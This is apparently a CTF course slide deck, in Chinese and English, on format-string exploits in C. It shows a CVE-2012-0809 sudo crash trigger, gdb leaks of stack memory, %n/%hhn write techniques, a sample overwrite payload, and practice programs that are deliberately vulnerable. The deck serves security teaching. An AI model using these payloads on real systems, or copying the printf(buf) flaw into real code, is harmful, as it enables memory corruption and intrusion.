# Format String Exploit

ddaa

# CVE-2012-0809

- The sudo_debug() function contains a flaw where the program name is used as part of the format string passed to the fprintf() function.

- $ ln -s /usr/bin/sudo ./%s
- $ ./%s -D9
- Segmentation fault

# What is format string?

- printf(“Today is %d-%d-%d %s\n”, y, m, d,w);
- %s %d %p %u %c %.....

- 在輸出函式或字串處理函式中用來表示輸出的字串格式

# format string exploit

- printf(fmt);
  - 問題在於把變數直接丟進 printf 裡面執行
- read / write arbitrary memory
- printf 家族全部都有 fmt string vulnerability
- Printf, sprinf, snprinf, vsprintf, fprintf, ……

# Principle

- 正常的 printf

```
int a,b,c;
printf("%p %p %p", &a, &b, &c);
```

- 如果後面不給參數呢？

```
printf("%p %p %p");
```

# Leak memory on stack

```
Starting program: /home/dada/example/fmt/a.out

Breakpoint 1, 0x0804842d in main ()
(gdb) x/10xw $esp
0xffffcf70:     0x080484d0      0xf7ffd000      0x0804844b      0xf7fcc000
0xffffcf80:     0x08048440      0x00000000      0x00000000      0xf7e3da63
0xffffcf90:     0x00000001      0xffffd024
(gdb) c
Continuing.
0xf7ffd000 0x804844b 0xf7fcc000
[Inferior 1 (process 23534) exited with code 040]
```

# %N$x

- 假如要 dump esp 後面第 100 個 dword ? word? byte?
  - printf(“%x %x …… *99”);
  - printf(“%99$x”);
  - printf(“%99$hx”);
  - printf(“%99$hhx”);
  - esp 後第一個是 fmt

```
1 int main()
2 {
3     printf("%1$hhx %1$hx %1$x\n");
4     printf("%1$x %x\n");
5 }


dada@ubuntu:~/example/fmt$ ./a.out
0 2000 f7792000
f7792000 f7792000
```

# %s

- 但是這樣只能往下 dump，如果 data 在 esp 之上或者根本在其他 memory region?
- 讓 target 出現在 stack 上，再用 %s 得到內容

```
1 char test[]="\x32\xa0\x04\x08%7$s\n";
2 char test2[]="flag is xddddddddddddddddddd";
3
4 void foo()
5 {
6     char buf[1024];
7     strcpy(buf,test);
8     printf(test);
9 }
10
11 int main()
12 {
13     foo();
14 }
```

```
dada@ubuntu:~/example/fmt$ ./a.out
2flag is xddddddddddddddddddddd
dada@ubuntu:~/example/fmt$
```

# Practice: fmt1

```c
#include <stdio.h>
#include <stdlib.h>

char flag[100];

int main()
{
    char I[100];
    char MADE[100];
    char A[100];
    char STUPID[100];
    char MISTAKE[100];
    FILE *fp = fopen("/home/fmt/flag1","r");
    fscanf(fp,"%s",flag);
    printf("The addr of flag is %p. Try to get the flag!\n", flag);
    fflush(stdout);
    read(0, STUPID, 100);
    char *QQ = alloca(100);
    printf(STUPID);
    fclose(fp);
    return 0;
}
```

# %n

- 現在可以任意 leak information 了，接著利用 %n 來寫 memory
- %n: returns the number of characters written so far by this call to the function.
- %n 寫入「目前已經輸出幾個字元」到對應參數所指的位址

```
1 int main()
2 {
3     int count;
4     printf("orzorzorzorz%n\n", &count);
5     printf("%d\n",count);
6 }

dada@ubuntu:~/example/fmt$ ./a.out
orzorzorzorz
12
```

# %Nc%M$hhn

- 要用 %n 寫入一個 dword 的值不太可能
- 或者因為 ASLR 的緣故，我們只希望更改後面 2 byte
- 通常我們會分段寫入，一次輸出最多只要輸出 256 個字元
- Ex: %100c%30$hhn%220c%31$hhn
- Offset 30 寫入 100 = 0x64
- Offset 31 寫入 (100 + 220) % 256 = 0x40

# Summary

1. 利用 %N$x dump 出 stack 中的 memory，找到要 overwrite 的 target
2. 如果 target 在 stack 上，可以直接用 %N$n 改；如果不在，必須讓 target 的 address 想辦法出現在 stack 上
3. 用 %Nc 控制印出的字元數，再用 %N$hhn overwrite target

最後 payload 可能會長得像這樣：

\xdc\xed\xbf\xbf\xdd\xed\xbf\xbf\xde\xed\xbf\xbf\xdf\xed\xbf\xbf%100c%30$hhn%220c%31$hhn%55c%32$hhn%66c%33$hhn

# Practice: fmt2

```
18 int main()
19 {
20     int (*func)();
21     func = &what_can_i_do;
22
23     char buf[1024];
24     printf("Should I do someting at %p? Plz answer me. Q__Q\n", &func);
25     fflush(stdout);
26     fgets(buf, 1024, stdin);
27     printf(buf);
28
29     (*func)();
30 }
```

# More challenge

- **[Basic] endian with format string**
  - http://wargame.cs.nctu.edu.tw/wargame/problem/1/35
- **Basic Format String – normal**
  - http://wargame.cs.nctu.edu.tw/wargame/problem/1/34
- **Basic Format String – difficult**
  - http://wargame.cs.nctu.edu.tw/wargame/problem/1/7

# ret2libc + fmt string exploit

- ~~自己的漏洞自己生~~
- 如果已經可控堆疊，但是無法任意 read / write memory
- 可利用 ret2libc 呼叫 printf，透過 fmt exploit 任意改寫 address
- leak 出更多資訊，來 bypass ASLR